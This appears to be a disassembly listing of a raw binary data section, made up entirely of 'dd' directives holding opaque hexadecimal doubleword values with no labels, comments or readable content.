2B97CD8Dh dd 4096704Eh, 7D2C8F16h, 0DD1E0F91h, 871EC53Eh, 0ECAD3FB2h dd 0F3301729h, 0FCF912Ch, 0D2AF2F93h, 52818035h, 45754E7Dh dd 31AAC48h, 7CCEA4B0h, 0C0FF6387h, 475E5F53h, 0FA017801h dd 0D4ABAE0Ah, 56F5434h, 0B0EB3658h, 2F30E065h, 0FF27BC00h dd 0A7AEB479h, 0D1324EA5h, 245BB7C8h, 0E2CD0F8h, 9C8154C3h dd 6BA907CBh, 520FECFh, 1845E370h, 63203CBBh, 4B2F7E46h dd 6C9EE8A0h, 0BB007653h, 6ABABD38h, 0BA47362h, 0AB3E925Bh dd 7E95C849h, 3A190C40h, 7501B97Ch, 39967DD6h, 0B082435Ch dd 3BFA4A9h, 47448CE7h, 3A54860h, 0F2C7700h, 75A089A3h dd 4267DC0h, 196EB114h, 2D9CFDF5h, 0D060903Eh, 5CA09814h dd 3803A8AFh, 31538803h, 4528B927h, 6EFFE2C4h, 4D75118h dd 0F3D938C7h, 6CACF00Ch, 9D0EBC04h, 0C085CCD3h, 133C4CE4h dd 62C2AFh, 0E57214D7h, 0F6009792h, 8868F5C8h, 12500511h dd 0E2D2BFEAh, 3046E218h, 8D03F1FBh, 1AE7FAD9h, 0A4C5F539h dd 4AE878BCh, 16441E8Ch, 5A1241DAh, 6A76786Eh, 0CC143C40h dd 0FD71F5Dh, 94670479h, 6DC758C1h, 7870F9CFh, 8C4ABC5Ch dd 8CC84900h, 0A2DD1CA9h, 0C0171941h, 0D0B2E12Ah, 9B26F89Ah dd 0AA041098h, 0C8FC736Eh, 28C4DBCh, 8BA27732h, 146125DCh dd 98091012h, 14E80F69h, 0E740218Dh, 0CA1EBE35h, 0D3CC400h dd 0C3B5BF2Bh, 18712EFFh, 2F5484D0h, 0C420070h, 623839E8h dd 822798A3h, 38A8847Ch, 7A76100h, 0CDB5CBB7h, 6C35001Bh dd 0ABB4FB6Eh, 28DE28D8h, 2037A904h, 0D2E824FDh, 69054100h dd 4FD786Ah, 0A3B517CAh, 0AB8C22FCh, 7B1AD10h, 0BFC53BB0h dd 8425699Ch, 120ED57h, 0EB60ED09h, 3A2A4497h, 4423D8h dd 0D5959793h, 0AD7837A8h, 7F896067h, 0FA3E288Ch, 3C049F01h dd 19C4C890h, 0C40098E2h, 0DAC729AEh, 0A102A9h, 0C0347DA8h dd 90608BB5h, 4676B0B4h, 7E90134Ch, 8456C600h, 0BA8FC3B3h dd 92ED17F0h, 6B8CF42Ch, 3089B5Dh, 0B13F8A13h, 0CCA15C9Fh dd 6F4326BCh, 0F68F043Fh, 0A1E07639h, 80466BABh, 8480DCB0h dd 6F41E2AAh, 23E82F2Bh, 0D43015Ch, 3B3FF895h, 3BAFE002h dd 8488600Bh, 2EF02075h, 2B8379Dh, 0BB8CD68h, 27A89F81h dd 6F502019h, 0F70DF376h, 51741545h, 9D46E3Fh, 90909CCAh dd 9897FD8h, 5946A9B6h, 45690056h, 605FE45Ch, 48F08914h dd 5B2CBC38h, 6A938074h, 71874DADh, 71704295h, 6F257050h dd 7E8F0086h, 36C9C141h, 72E2B7FCh, 18958CA0h, 0D9BD29C3h dd 983EBB94h, 634DEBh, 0C1A23321h, 65DAC811h, 2837B7h dd 0C7A299B5h, 0E401FAF5h, 3E73B43Fh, 7983E3ACh, 872BAED2h dd 4C58B6BCh, 8C83B828h, 6203200h, 3E9D5C27h, 8543040Fh dd 0E0948BB6h, 231211DCh, 48E0D3A1h, 0B73E15C0h, 82FC036h dd 5C42CC1Ah, 467660FEh, 0CC017F3Bh, 0E724BF2Ah, 0B443270Ah dd 189CD1E3h, 0EC6C0825h, 98C39BCh, 7516AFE8h, 0D59F7C54h dd 0E77FBF40h, 97D76BB1h, 0F1CA8880h, 9FEAA0CFh, 96572C0Ch dd 43173h, 99E70FCEh, 0FCDD915Ch, 6074072Dh, 17A25784h dd 64C3D987h, 0B214E230h, 40F23123h, 870EA6B9h, 96F4CF13h dd 0D2129420h, 4EEE019Ah, 21FDB67Ah, 0F475D4D1h, 6D3AB1E2h dd 415580D0h, 3154B498h, 16430FC7h, 5087071Eh, 5AA8F02Fh dd 952D5F0Fh, 628CCDD2h, 0A7406AC2h, 872F065Ah, 244064BCh dd 127CB3D0h, 677B03FDh, 9F9341EDh, 566284C0h, 144AAB13h dd 0A30074A2h, 0F649A254h, 7E0068AEh, 0EFA1035h, 4B5BC22Dh dd 0D084C157h, 2A00F660h, 805653C1h, 30FCC887h, 0DC2C5E82h dd 97A92313h, 0C9843490h, 3B780340h, 9FE67F49h, 0BCA4BCE4h dd 8F098C38h, 1DDC9237h, 804C11F4h, 14E1E6DBh, 4FD109DCh dd 286977BEh, 0DE0130B3h, 989A9200h, 44E9F571h, 0B7F303D2h dd 467F3402h, 0A93ECDC0h, 18028E7h, 0B3590A67h, 4EC1723h dd 5CB0B414h, 0AC042146h, 4279C4BEh, 0C9F8AE3Eh, 0A0C2905Ch dd 0D9D51AA0h, 63E300A8h, 2467360Fh, 0E00042B4h, 3493DE32h dd 30504010h, 67D13E75h, 7001F80h, 7130726Fh, 0F98DA4h dd 834263F5h, 13E9FAE6h, 317000B3h, 0B3090B56h, 0E0D195EDh dd 0E71849D1h, 94DD6D24h, 1B6BB585h, 217FCE0h, 6854E4AEh dd 0EC243B9Ch, 1160B80h, 268400BAh, 1A47EE2Bh, 0D5025EF1h dd 87EFD7C0h, 0DC987407h, 3679DE05h, 78BC20C9h, 60910E00h dd 2F9EF6FFh, 338AC80h, 1EB531EDh, 0E90476C5h, 11A2E7FAh dd 0AFAB2AC1h, 1847070h, 0BF7266EDh, 0D8612CBEh, 0AFF9F8FFh dd 0CE74ED49h, 46746A00h, 6E0F81EDh, 0AF2DA25Eh, 0A40B5327h dd 0C0C0DA78h, 85C146AEh, 2000EBD8h, 0C80884DFh, 0FB227Fh dd 46860ABCh, 4F5F4D2h, 980E472Ch, 1F106710h, 6DCDC078h dd 8CA2FCE9h, 7364344h, 3E0F6C85h, 0B45F23EDh, 0D5F457D9h dd 847D62Ch, 23604A64h, 8F00D70Eh, 0F07D4CB0h, 4AE3C6h dd 0D9FA2046h, 8AE48228h, 91589D95h, 0B03F8C43h, 0D0764E3Ch dd 4B64ECBCh, 0EA0BFF7Dh, 590A87F2h, 18447928h, 35F100B4h dd 564F34F6h, 1D61F481h, 96E95AA8h, 940F8032h, 0F0004BDBh dd 48FE1E01h, 27362325h, 4F491CD8h, 0C71A4754h, 0C43EC068h dd 784A9C1Dh, 37D5B80Bh, 0E1330040h, 0A874D28Fh, 8CE4634Ah dd 0C0A454A3h, 8BEE5AFAh, 0C025C86Ch, 0A4DA0F88h, 377D180Eh dd 4F872C8h, 956D127Dh, 0F2F8A287h, 52C73044h, 0EA3C2D03h dd 0AB8BB7A3h, 0B6A8092Eh, 0C47887A9h, 8A4FC909h, 5EC05E83h dd 1B1D2146h, 6A7E47C0h, 0B12E3035h, 0A827956Eh, 0AC446041h dd 13A8B16Bh, 17104540h, 0B2D8F4F8h, 84BC8773h, 84B5C940h dd 3B99196Eh, 7990A035h, 36B0031Ch, 9A7DD46Bh, 80807C55h dd 3B5DFB26h, 1C00D5DEh, 41C962E1h, 18CA5Eh, 697C883Fh dd 37A22D11h, 8697777Ah, 3A15D5Ch, 906C6BFh, 0B0E05E1Ah dd 0A29F222Dh, 58B370h, 622ED099h, 5402447Ch, 2F6E86CCh dd 0E4484513h, 8FA46024h, 854D03B5h, 457BA08Ah, 22E0A3B9h dd 9AE70920h, 0AF2C206Ah, 97939FFCh, 499AF48Eh, 0E5F49C00h dd 84168D86h, 0AC2F1359h, 45052323h, 2687767Ch, 3D438AA0h dd 0BB4A4B4h, 4F7BF899h, 45D9C851h, 3550A318h, 90249AD3h dd 0E50808C2h, 96BF0B50h, 4986D848h, 9B0A4Ch, 405BD1EDh dd 833E2Ch, 6407F43Bh, 49E0191Fh, 7E113300h, 0CB80467h dd 0FC802C4Bh, 0AD302669h, 9B720010h, 9186190Fh, 4EA80023h dd 0EB84197h, 1BF261BAh, 0ED121ED0h, 0F6549D00h, 1AFC96Fh dd 0DAF2E660h, 6E0650F3h, 4A23C83Bh, 36670200h, 16DCBFD8h dd 91776F11h, 0E46D8AC4h, 7C05B67Bh, 0BA16A5EDh, 0CE433480h dd 78AE04ADh, 0A85FC3B4h, 0B18000F4h, 20921C66h, 0D01E0B7Eh dd 10F2AC3Eh, 0BFE70D07h, 39190ADh, 0C8841123h, 0F127C3B2h dd 505BE22Ch, 0F6848978h, 0C8AE0ED2h, 1D6B875Eh, 109FEC50h dd 83ACB0h, 860CF696h, 1EB45BB2h, 7FBC38h, 1BB85F39h, 77D667DCh dd 350E5AB5h, 0B868F940h, 710E0034h, 9DA04172h, 872F42D4h dd 91941782h, 0A6C38082h, 420176h, 0F4C9D6C4h, 386DBD55h dd 0F159CE12h, 9FFA3490h, 268B6E3h, 0C1A892E2h, 1D3AC856h dd 1F12F229h dd 5A369CA0h, 97642C57h, 81AC00E5h, 0EA11FE4h, 51B00943h dd 0A0FF74A5h, 0B2273E8Ch, 566889AAh, 1465EECh, 6B82603h dd 8100344Bh, 728D53F0h, 38328575h, 97B2037h, 348BB5CDh dd 670D4058h, 796C8DADh, 3C986E2Eh, 0D8350059h, 0AF3E6334h dd 25ACB43Dh, 25E4A465h, 59376660h, 30E99C71h, 0B8A81118h dd 0C32D6BAAh, 0E55C1189h, 896811Fh, 506BF517h, 7C48C044h dd 1991C880h, 141A35B6h, 7C19C24Bh, 5600DC54h, 8ADE9140h dd 7B11A65h, 78BE0E86h, 1668EAF6h, 88F08F6Dh, 0B413C029h dd 0BC14D557h, 2EAEED2Dh, 8604E4AAh, 3CD50675h, 4BC860CBh dd 0A4864FC0h, 0EB410026h, 3E546A5Bh, 14133CA5h, 0F0C465A8h dd 1F706422h, 7D02C6BEh, 22A7B740h, 656CB4C1h, 41CC20CCh dd 0AE1AF67Bh, 0D9D06E0Dh, 1847D1F4h, 0CA1D1FEBh, 1A54A42Ch dd 460B133h, 0A90B1369h, 1D41FBD0h, 852211A4h, 32C050A0h dd 98268798h, 0B3822D18h, 7E819005h, 0C09B00F0h, 0CE88A57Bh dd 60F0474h, 0BDB96EE1h, 98F64B28h, 35801FE3h, 20B6B07Ch dd 48ABB382h, 0A4985F8Ah, 0ECA4556Ah, 321B2E1Dh, 0ECE99100h dd 2DC00FA2h, 0AC17D2BFh, 0DA804511h, 0E2D44F05h, 97790402h dd 8033ADC0h, 8C41EEF8h, 95340BB7h, 60477308h, 0E6600464h dd 66970FCFh, 2ECB0A8h, 7C20FAF1h, 30630ECCh, 2C014F92h dd 1838CFD9h, 9E14CD00h, 22A6172Eh, 53DC8F25h, 0B23B7008h dd 0E220D000h, 6FA9C032h, 0B45D1C93h, 0E0E02DABh, 3045A83Eh dd 6194CC20h, 66981990h, 0F20462F2h, 0C2813004h, 4D2D60B1h dd 0CC03C004h, 2FFF6DB2h, 223442Eh, 4217FD39h, 0CC8E95E3h dd 88C04888h, 7071A3F8h, 2AA3C9Ah, 8BE51905h, 0AC70EDF2h dd 0A934090Bh, 24596724h, 0DC80EA1Dh, 31BF53F5h, 0ADF0907h dd 6CE25DB6h, 0C63EBC1Dh, 22D1037Eh, 7B77B812h, 520B6900h dd 43AD1AF4h, 0ECC40EE5h, 19402B7Eh, 0FF141DEDh, 0B3F4E000h dd 0AB581A1h, 94979F53h, 0A7804491h, 25A8B05Ch, 0A229B704h dd 7AAE9460h, 0A3C31D48h, 0C20E85C0h, 4BBF4EB5h, 9DC88806h dd 0EF654A00h, 52098993h, 0D7203AD2h, 0E231600h, 5C8229CDh dd 0F384629Dh, 0B8F70FCh, 4F065800h, 3D8CCCAEh, 0D881B704h dd 69952C9Fh, 0BA880EF8h, 0B2F980D0h, 0F4E4DA1h, 0AC352B0Bh dd 80C674C5h, 52541556h, 0BE4ADF01h, 260DA897h, 663F820h dd 74F2170Eh, 544ED82Bh, 97312440h, 0E8E64377h, 0EDF0007Ch dd 5D24EE5Ch, 0FC12B816h, 0D04076CEh, 2FE26D7Bh, 4C79F70h dd 4E602064h, 77AFB77h, 7B863Ch, 24B7B195h, 25AD351Fh dd 40452897h, 6B6123E4h, 0E6036FEEh, 8F3DFC39h, 172821ACh dd 0B0ADB035h, 0C310B44Ch, 0D21D4AB3h, 78976D66h, 0E6812191h dd 2F873341h, 3823202Fh, 0E57AC702h, 710C59F5h, 1CA71829h dd 40D452F3h, 721486Dh, 0E716FC0Fh, 6000C76h, 3F871B80h dd 3EC24AB0h, 0BC605F74h, 69A6508h, 0AC5FBC94h, 0F180C137h dd 0A0A0201Bh, 2C74B4EBh, 8098A912h, 7DE0C0E0h, 0FB2A0285h dd 2342F258h, 46C4C8E7h, 0BDD2A663h, 6A9D5C78h, 9F50FBCh dd 7120F073h, 0AE3F2EFBh, 0D2A3903Ch, 3AA838B9h, 0E488704Ah dd 73B11894h, 5AE3E852h, 3513E92Fh, 1C8580E4h, 2050F4D2h dd 1A304312h, 0E9CB80C8h, 0E23C3209h, 0B0233026h, 12EB0900h dd 0A558E08h, 28679F70h, 0CF602564h, 7526B1D3h, 0C00A141Eh dd 4F65F836h, 74C38457h, 5A14D891h, 12CD5A85h, 0C07C9AFCh dd 15ECB4BFh, 0D2400358h, 930AA8AEh, 5AF4A8E5h, 72C0C8DAh dd 0D9C5CC35h, 0A9B5FD09h, 6364C03Bh, 1F410193h, 21D8B86Ah dd 0ADAFE048h, 596F8004h, 50E301B0h, 6146B186h, 4CF51724h dd 0B21674BEh, 1CF3575Bh, 0FE300CB2h, 65E70058h, 0EB1B7C09h dd 0FC16BB4Ch, 0FC80279Fh, 0A2A88707h, 0D44648h, 76384277h dd 650EC75Ah, 0BF3F6A76h, 6E0E778Bh, 850978CCh, 70B157B9h dd 5CA2A423h, 0F2B47730h, 0F6C00BFh, 6BAB6493h, 184E72C7h dd 6EAE4444h, 0A9C9121Eh, 987209A8h, 71587887h, 396C34ABh dd 0ACA40418h, 0F8F852D1h, 0A2504922h, 0B5BFF62Ch, 5E1581D8h dd 0EC9F0930h, 0E09531FFh, 82289320h, 5017078h, 757BD92Bh dd 346C4273h, 1C6DEA10h, 2319F3B5h, 4F2BA7A8h, 4EC1E490h dd 525AA83Eh, 9079578Ch, 2C2E1832h, 2A4368E8h, 35291A30h dd 5C4EADA8h, 4887E442h, 7227101Fh, 0B85F0086h, 0D438984Dh dd 0CB01DBC3h, 337CA043h, 8981039h, 9B7A21EBh, 4A67DB00h dd 41D12DBBh, 0BAE9003Ch, 3450F9C3h, 7B90893Fh, 0DEF2CD00h dd 0CEC83836h, 0A49B0071h, 4D399229h, 330308E3h, 6D3745E0h dd 0B438F155h, 5CD078F0h, 0DB01A8F9h, 731D51DEh, 3770D0DDh dd 886120C0h, 66560F8h, 0C533A054h, 9800183Eh, 0CE19642h dd 1DA57B24h, 0DEFCE540h, 0BD9F009Ch, 9ABADBAAh, 3134C037h dd 35887111h, 19F1A6DCh, 87EB59Bh, 75218050h, 0C15A88AAh dd 0E86B0AECh, 9D80BB5Dh, 2DF9C049h, 0A825D21Eh, 0F8F10B30h dd 5DCA96h, 0B21CE433h, 11A6E126h, 22849D50h, 4A5AF000h dd 4DA23451h, 694360C0h, 77477FAEh, 8F9BD33Bh, 0F4E331h dd 0C9810E16h, 13AE7F6Fh, 4DA3A7h, 3FC03755h, 280183F5h dd 0F11DAFC1h, 5FDC4E19h, 0A1DFE5h, 1CB2EB6Bh, 0B9037156h dd 0C4A9C3A4h, 80338A9Ah, 0D63D66D8h, 7C500F43h, 9E262E36h dd 0EE155121h, 99E87E09h, 102631B0h, 0CADBC607h, 0B1C49843h dd 0DB9E7D40h, 0AA00A664h, 59B552B6h, 0CB8C2D9h, 0BAFFA4FEh dd 70C7B429h, 0DF616B0Eh, 0C43BD76h, 218FA0D3h, 0ED11C051h dd 7294F236h, 0B8931406h, 32085CCAh, 0C2097E9h, 2BFD1B60h dd 0C8A72400h, 0DEEBB99Fh, 1C694952h, 3F486B07h, 898C806Ah dd 0EF00C1A1h, 0D7298BDBh, 1D3AC13h, 0A3AA8474h, 0FDD1E4F8h dd 46388435h, 50986E37h, 0C5F904C9h, 32DD6325h, 81622174h dd 666BC8F8h, 0D8E3D700h, 230C9A3Ah, 959F2EDh, 0F2CE7C9Eh dd 60A77C04h, 23C2F9CAh, 2C20CB25h, 0F8825B00h, 6B316513h dd 9957F46h, 39C05A77h, 0E9C3242Fh, 41E16659h, 0CBF8C075h dd 0D6331505h, 0AC325152h, 60353186h, 2C567272h, 210330ACh dd 0F22E0Bh, 0C2131C0Eh, 479BC166h, 1D4B3722h, 0E223AFh dd 0CBAE672Bh, 3E28E977h, 0DE12F4E0h, 0B8609FBAh, 0EE3A8896h dd 8B448C8Eh, 88AB0E72h, 0ADEFDC8Ch, 0A08D5547h, 0B2CF642h dd 9036DF00h, 9F7806BBh, 482F494Dh, 0D8DBC480h, 448CC843h dd 9C007BB2h, 0AB3C6CDBh, 637AF1A1h, 88495897h, 11C4ACA0h dd 0BBB6B501h, 0AECEA730h, 30859442h, 7271F234h, 5226446h dd 0F22D0A0Fh, 3E20070Ch, 3D46DD47h, 41D804D9h, 0C0A04959h dd 9946CC04h, 5148C4Ch, 0F910BED0h, 0AE23682Eh, 0A055000h dd 7EBD6C1Dh, 8B0F32DDh, 323083B8h, 727014F2h, 8E0F034h dd 8201F22Bh, 7080790Dh, 3FEC2FA1h, 30814C71h, 11E45068h dd 886C839Dh, 317EBA30h, 0A9781089h, 0E2E1E288h, 0E3FE00FCh dd 0EE07B7D6h, 2230F4A7h, 0C9BB2935h, 0C06718C4h, 0A4E3D9B9h dd 70BA8B26h, 0A7C47265h, 9CC81C90h, 85880070h, 462D9BA9h dd 0C9DB4C65h, 0E5A4FB48h, 0FD16EC03h, 0C7100166h, 0C56F8F36h dd 980060E8h, 7788F88Ch, 22964633h, 0A8730942h, 4577D88h dd 0C49068F7h, 793C2BAh, 9ED3AD1h, 1CE8903Ch, 0BB0120ACh dd 0C2979D72h, 0F430480Fh, 23AD0194h, 0E17688FEh, 3C00209Bh dd 1DF34602h, 8067C03Dh dd 5992CA74h, 159E09BCh, 84B1BAFEh, 74201988h, 5C722B71h dd 97DC08E8h, 0F2280D03h, 0E2CE8975h, 0F38065h, 0F81DF7D1h dd 8DC07296h, 4BB36715h, 4C6526A0h, 0C1B96661h, 0B0218194h dd 9629F680h, 0E71A9A68h, 6121BFADh, 0C518280Ch, 428DDB09h dd 0C41C10h, 0E4DB9D74h, 0F3B70FB1h, 0AB5E520h, 0BE676039h dd 2BB3097Ch, 60A4BC84h, 23C3F88Fh, 6F117325h, 0F8875803h dd 6B88C227h, 0F9131DAEh, 4C080BE5h, 9982C0B4h, 48289673h dd 0AA287040h, 6E01BC37h, 0F46DFBF1h, 9C523C20h, 20DEC282h dd 0C1C887B0h, 0FED00067h, 9ADB63ECh, 68B93BD7h, 0C8BA4180h dd 16F557A4h, 0DED825h, 0D635D26Ch, 6B605324h, 0DA03C5B1h dd 970F00DDh, 3B7A5C7Eh, 60741F8h, 0BD746D83h, 32060BDBh dd 2DB80428h, 8EDBC260h, 1874277h, 47DB9A79h, 1DB0FF7Bh dd 0ACA09037h, 0A524D165h, 4514489Ch, 8C71BCB4h, 480F4E7Eh dd 6028620Bh, 0AC41F1BEh, 5EA42E1Ch, 7AD7E028h, 0CB376F2h dd 4471C4A9h, 57EE6518h, 986B2D24h, 0B19D8C0Dh, 8C9B5024h dd 3688721Fh, 0EC386ED2h, 88A70476h, 0D7E72441h, 6819C9C4h dd 0A884282Eh, 8C008CACh, 62B8A888h, 0D4A074E4h, 2440B099h dd 233C043Fh, 0C25176F0h, 0C049BF0Ch, 0F3219D73h, 7C95F605h dd 80339404h, 236C2A24h, 70E1008Bh, 0FA935A58h, 0C0305F75h dd 0C7FC2147h, 3DF21FE3h, 0CA500026h, 31F8536Bh, 0D81BF3EEh dd 0E578E50Eh, 17AF18CCh, 1DB6A2DAh, 0DE50E0h, 0E6511A37h dd 903A785Eh, 2E9F4A8Ch, 0D52310h, 0A34AA9DAh, 3B02E2BDh dd 52C2E799h, 4434486Ch, 26AC1C85h, 735700D2h, 16294A06h dd 98008176h, 4291E63Dh, 0F08575h, 3450EA3Ah, 53C76FF6h dd 0DD709E01h, 7C8CF7BEh, 9CFD1821h, 4F0FBB08h, 96219B45h dd 0E110983Ah, 76B9C097h, 0A0DB8421h, 3A0DBB88h, 0B331675Ah dd 295594E1h, 0AB1D003Ch, 0D4FAA69Fh, 3B890062h, 0C95C0CEAh dd 0A5009CCCh, 9D9BD5E5h, 4ACABA42h, 23382F5Ah, 9A880075h dd 80183324h, 0A70B9BF0h, 2994DDF6h, 0C47C45E0h, 939614Eh dd 2EBE7C20h, 0A0F4B0D0h, 9ADA3DF4h, 46173707h, 8C8C7A3Fh dd 2AB1A455h, 7ACF1C00h, 0BA904B7Eh, 7FFB0192h, 3FC03A45h dd 0C12DCC55h, 5D06CB1h, 0A0048698h, 2D80C14Ch, 9549F0C0h dd 0F71B004Dh, 0C58B70BEh, 1F30F4AAh, 3B47C93Fh, 9D41C14Ah dd 0CE41C73Ah, 0A41DB089h, 0E080B111h, 0C5B803F7h, 0F972A11Eh dd 22B7D2h, 9EB4A4D0h, 0A48E9562h, 37F046E5h, 7180E8B4h dd 99C0886Eh, 0C94A1FD5h, 0D35F1F69h, 4CC5432h, 8C72BCh dd 9D0905D1h, 57BA8E70h, 24F69300h, 0A9F912C1h, 0E092BCh dd 6CE2CB28h, 3610467Ah, 47F53E1Eh, 0BCCBC1D2h, 309806C4h dd 39AC823h, 9BCC161Bh, 0C5F0CF85h, 0E8CBC312h, 95F09060h dd 0E48904CAh, 8EA52221h, 0A39F4Ch, 0D3248A91h, 9C3D0F5Eh dd 166F01CAh, 0E15AD9CBh, 8008E093h, 0F03E4724h, 700AFC92h dd 0D8840ED1h, 6DED5786h, 0EE6CA0F0h, 982B333Ah, 0A8C04D7Ah dd 2898FC37h, 6740BF05h, 14D06AB8h, 50718941h, 181AD039h dd 282C87F0h, 1B35F4B4h, 0B83B4025h, 0A0004223h, 0E9131C45h dd 25C9C38Ah, 0C3A4C965h, 41F55254h, 0CBF667F4h, 1B25EC35h dd 0B92CA4A3h, 58DEAC98h, 3B0AE4E0h, 84D484C5h, 97DE23D8h dd 1A3913ECh, 4555FFB8h, 80054E4h, 896CBB0Eh, 0AC871Bh dd 707D4A22h, 0D0FDD6BAh, 0D15E4E0Ch, 4F4D41F2h, 39F06B46h dd 33F180C8h, 47B8256Eh, 82CB4EBh, 0E883A181h, 3DBDC0Ah dd 0C2CA9E18h, 7BE93AA0h, 97C43036h, 465EF89Eh, 4F690189h dd 6360DE4h, 0FA31C4h, 0D4B8F4ACh, 24AF7E90h, 0B04A4Ch dd 910E26BCh, 4938479Ch, 127E88D5h, 45DC06E9h, 93BD2EB4h dd 0D09F5D40h, 71EAFB29h, 679D9309h, 0A43091BFh, 883EF460h dd 0A500C259h, 0D9FC1966h, 0C93770Dh, 0A7874CF4h, 71048D08h dd 0A0C730C3h, 649917C4h, 23D7DBE8h, 0AF11C043h, 0DB9F7E03h dd 0A5909360h, 8E12C5DAh, 0E8915477h, 4EC8113Ch, 4BF10123h dd 0C4E28DDAh, 3ACC2819h, 82F02A8h, 84BB1DE8h, 0D660ABECh dd 257BC6F9h, 8E5F0087h, 0C795FFF8h, 67AC9F01h, 0A252F2A1h dd 76F41A4h, 12C80DCBh, 0A8A94E50h, 0DEE2C465h, 63771897h dd 0D04A8B0h, 0BD82D159h, 0BDF9FC93h, 0DCC8F88Bh, 0B7B5A0CEh dd 4A8140E8h, 0DC9C0209h, 5097BD5Dh, 60980208h, 99810663h dd 42708F00h, 13924ACh, 5C73B0DEh, 7580D8C5h, 0A22DC38Fh dd 58268460h, 2542239h, 0B0135A60h, 94906648h, 59EEE2CAh dd 0C24C1A02h, 0A06752A9h, 779423BCh, 1E903E0h, 0BDCE9960h dd 490BBE02h, 0D828C651h, 38EB04E0h, 8080394Eh, 9EF16458h dd 98B018B2h, 52805577h, 4959C06Dh, 7CAA85CEh, 2B674A00h dd 2E0936Ch, 2CF3007Fh, 0BB1CFBC8h, 0F0A8A552h, 83070A4Eh dd 895B9CF8h, 495FD4C0h, 819823D2h, 96F28439h, 0E384472h dd 0A5F23100h, 41D59167h, 9FB12859h, 3ACECC8h, 0CC4EC429h dd 3101F423h, 0CEC63DB5h, 0B7F0826Ch, 3B311E29h, 5194C27Dh dd 84DD24Ah, 4AE2AFC0h, 9199857h, 4BB1B267h, 182B2069h dd 0CCDB08C0h, 7771A843h, 15DBCCh, 7353328Fh, 9CAA7099h dd 7A8D3D14h, 94606AC4h, 0B894CF15h, 22DB0046h, 51502FA8h dd 18915234h, 0BC12982Ch, 0C0828848h, 7293F239h, 802C0C4Ah dd 9D90A00Fh, 2C21124Ah, 0F5100EBFh, 5C454EC9h, 0D96071E4h dd 0CA02BBA5h, 0E4538FACh, 249C5270h, 808440C0h, 0CE47834Ah dd 0B900862Ch, 72EC9A3Ah, 0C7B1AAD9h, 0B0409080h, 75E50F83h dd 3C2C312Ch, 3A6C467Ch, 4B10BD9Fh, 0A79ED400h, 4C53D998h dd 0E1FC484Fh, 0F762178Ch, 602CD1E6h, 0C20024C0h, 0F4CC2C0h dd 4180268h, 4612F52Ch, 0C74CF43Dh, 0C1C88524h, 8D379031h dd 2467BDF0h, 1C8A1E1h, 3E48B520h, 5031A642h, 273B040Fh dd 0FD808337h, 0B8BDF691h, 0B9F72150h, 0F4198BF1h, 56003867h dd 0F0DA048Fh, 1E3491Ch, 0B339DE19h, 20930D5Fh, 54312EC4h dd 0EE58E1E7h, 2D26D8h, 0E9C6CBCAh, 0C86A79F9h, 0CC8C1B03h dd 0F239DA17h, 7124D1A0h, 218B0h, 24F38BD6h, 7D5D3562h dd 4688E012h, 0C8CE9C9Ah, 1781F42h, 0F415E070h, 3809F21h dd 0C53A41D2h, 0F4105C9Dh, 8C50E8h, 562D6A15h, 0ADFABA5Eh dd 0EED8DA04h, 0C4818F58h, 4FD0B072h, 703CEB3Dh, 406C2116h dd 73FA6B5Ch, 9894DD53h, 0B22000D6h, 0FE5B9F1Ah, 12586E2h dd 0F748419Eh, 90426470h, 95897118h, 4232540Fh, 0CFB867BCh dd 7ED7B8A0h, 0B49A96B1h, 0E18CE91Dh, 12C7B2C4h, 9CE24C84h dd 0C531ADF2h, 70417631h, 960016C3h, 5A2DD164h, 91141DE1h dd 0FBF3804Fh, 96E01Ah, 50F5E3C2h, 65A6B934h, 0E7C02763h dd 65CF9ABCh, 60DFE4FCh, 14FE4B3h, 1B3B0B46h, 2CE89EF0h dd 80398800h, 0C53EF347h, 0B580BA41h, 0D55502FCh, 0B759BDB8h dd 44794C51h, 0E27EBA18h, 31DF3C18h, 0A0532070h, 1CDA0C30h dd 77A4EF26h, 0E942C0D1h, 0AE69578h, 0A83A7735h, 0ADF2D8A2h dd 44D930h, 134AB2CDh, 99873D1Eh, 50C59F28h, 5D837000h dd 7CA2E8E5h, 9084E217h, 4A6B0E2Eh, 78017B7Eh, 40543A21h dd 0D29EDD2Ch, 0A2BDA801h, 57CB2DDAh, 0DE8D20h, 0DC814216h dd 9BD65860h, 93747201h, 63AACA9Eh, 5A97B1F4h, 0B2D83422h dd 30EBB2E4h, 2B26D3C3h, 0B117ABA6h, 250A785Dh, 0AB002C98h dd 0BAF323C7h, 28C52476h dd 36A8031Ch, 5BE74A1Fh, 8E507284h, 0C0EBC87Ch, 0C6B406B1h dd 0C8F7BE1Fh, 0E7802118h, 9E6CA432h, 0EB4656A8h, 80F6BE03h dd 0F5D93DF4h, 0C8D8877Bh, 0A64231DCh, 0A2D069D9h, 0E170082Bh dd 52E99D82h, 978C406h, 89658B93h, 0F4AE5459h, 0F724656h dd 0FF6D8C0Bh, 38649F2Fh, 0B0879821h, 0E50583Ah, 78324D3Ch dd 56C903Fh, 60976D53h, 0C8B8CB9Fh, 13C5C3AEh, 0CBBA4280h dd 0DEE623ECh, 0B222DD0Bh, 0E3BC2052h, 1F2C587Fh, 182532B6h dd 0CB37190Ah, 9E9CD054h, 8D89D709h, 9CE804DBh, 41889361h dd 38F03687h, 6C7FA0F8h, 39770188h, 2DF9753Ah, 29B0087h dd 0EE413255h, 844C528h, 69E46807h, 8D123F67h, 5C1C5C46h dd 8A18E7h, 1E7F9794h, 530A9229h, 0A03F9C5Eh, 823A4423h dd 95941D7h, 1C2C4094h, 39740551h, 0A2993468h, 97E1F124h dd 585BFF0Ch, 20B7AC12h, 5B3C1DA0h, 1C57C902h, 713892F2h dd 0C7370070h, 0F4450D03h, 7F4A5300h, 11AE67D4h, 5DE818ABh dd 7C2E29BEh, 0A956F403h, 0B0D128C4h, 0BC721BFh, 8C8D8141h dd 70A9D048h, 856356FEh, 0E49AD7B0h, 13D983C3h, 0C0A0D510h dd 217712D8h, 85CA1F20h, 608CC46Ch, 98584305h, 1EAE04Eh dd 0C8BA44E2h, 0E832D8D1h, 3700CEF4h, 1DA9D93h, 0BE12F969h dd 24372DCCh, 0BFD5EF03h, 7998DAE5h, 747824E4h, 6D00B046h dd 0B688E9A3h, 93071085h, 45A6BBB1h, 0C412A41Ah, 0E6DDF490h dd 4A610CA2h, 9E702FD6h, 2402A40Bh, 448C6DB3h, 71F16076h dd 271B00E3h, 7EBF25E7h, 24B48AE9h, 25826288h, 0AD91E017h dd 72E35680h, 0B04EFDF9h, 20F79807h, 0AB640748h, 0B6314C5Dh dd 0BEC8D300h, 2B2C8B6Dh, 36733Ah, 37C481ACh, 214D12BAh dd 80843424h, 242467Ch, 54FBDD20h, 5B84F061h, 